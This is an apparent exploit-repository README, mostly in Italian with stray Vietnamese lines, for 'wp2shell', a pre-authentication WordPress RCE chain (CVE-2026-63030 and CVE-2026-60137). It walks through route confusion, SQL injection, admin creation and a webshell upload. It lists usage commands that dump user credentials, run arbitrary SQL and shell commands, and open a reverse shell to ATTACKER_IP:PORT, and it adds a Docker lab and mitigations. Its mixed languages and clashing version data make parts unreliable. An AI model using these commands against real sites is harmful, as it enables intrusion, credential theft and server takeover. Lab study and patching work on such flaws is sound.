
Exploit RCE pre-autenticazione per WordPress (CVE-2026-63030 + CVE-2026-60137) che combina confusione di route e SQL injection in accesso shell completo. Include lab Docker per test sicuri.
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| Alias | wp2shell |
| Tipo di vulnerabilità | REST API Route Confusion → SQL Injection → RCE |
| Gravità | Critica — CVSS 10.0 |
| Versioni interessate | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| Corretto in | WordPress 6.8.6, 6.9.5, 7.0.2 |
| Autenticazione richiesta | Nessuna (Pre-Auth) |
wp2shell è il nome della catena di exploit che combina 2 vulnerabilità nel WordPress Core:
/wp-json/batch/v1) presenta un disallineamento degli indici tra gli array $matches[] e $validation[] quando una sotto-richiesta ha un path errato, facendo eseguire la sotto-richiesta successiva con un handler errato → bypass della validazione dello schema REST API.WP_Query::get_posts() non sanifica il parametro author__not_in quando riceve una stringa invece di un array → SQL injection raw.I due bug combinati formano una catena Pre-Auth RCE completa — da zero credenziali a una shell sul server tramite sole richieste HTTP.
Route Confusion (bypass REST validation)
→ SQL Injection (đọc DB: users, secret keys)
→ oEmbed cache poisoning (read-only SQLi → write primitive)
→ customize_changeset (tạo admin mới)
→ Plugin upload (webshell)
→ Remote Code Execution
Consulta l'analisi tecnica completa in REPORT.md
Il lab utilizza Docker Compose con 3 container:
| Container | Immagine | Porta |
|---|---|---|
| WordPress (vulnerabile) | wordpress:6.9.4 | 8080 |
| MySQL | mysql:8.0 | interno |
| phpMyAdmin | phpmyadmin:latest | 8081 |
setup.sh)cd wp2shell-lab
bash setup.sh
Lo script esegue automaticamente:
Al termine verrà mostrato "WP2Shell Lab — READY!" insieme alle credenziali di accesso.
cd wp2shell-lab
docker compose down -v
# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080
# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080
# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080
# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080
# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
Lo script PoC è stato riscritto da zero, facendo riferimento a Icex0/wp2shell-poc. Utilizza solo la stdlib di Python 3, non servono dipendenze aggiuntive.
| Condizione | Requisito |
|---|---|
| Versione di WordPress | 6.9.0–6.9.4 oppure 7.0.0–7.0.1 |
| REST API batch endpoint | Accessibile (abilitato di default) |
| Autenticazione | Non necessaria |
| Rete | L'attaccante può raggiungere WordPress |
add_filter('rest_batch_disabled', '__return_true'); a functions.php./wp-json/batch/v1 contenenti keyword SQL.Questo repository è stato creato a scopo di ricerca, didattico e CTF in un ambiente di laboratorio controllato. Non utilizzarlo per attaccare sistemi reali. Qualsiasi attività di sfruttamento non autorizzata è una violazione della legge.